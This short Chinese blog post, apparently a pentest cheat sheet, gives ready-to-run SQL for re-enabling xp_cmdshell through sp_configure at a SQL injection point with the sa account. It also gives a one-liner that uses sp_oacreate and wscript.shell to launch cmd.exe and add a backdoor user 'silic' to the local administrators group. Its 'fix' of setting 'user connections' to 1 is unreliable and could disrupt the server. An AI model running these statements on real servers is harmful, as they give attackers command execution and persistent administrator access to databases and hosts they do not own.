mssql数据库sa账户xp_cmdshell解除禁用

使用xp_cmdshell执行命令的时候,系统回显如下:

Microsoft OLE DB Provider for SQL Server 错误 ‘80040e14’

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。

MSSQL中控制该功能开启和关闭的SQL语句

1
2
3
4
5
##关闭
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
##开启
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
`

在注入点运行上述语句时,如果出现这样的回显

标记message: 配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选

执行如下语句即可解决

1
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;--

使用wscript添加管理员

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'

d:\cmd.exe是自己上传的cmd.exe的路径,或者系统有权限都可以。/c后面是cmd语句,别忘了引号闭合语句

坚持原创技术分享,您的支持将鼓励我继续创作!
-------------本文结束感谢您的阅读-------------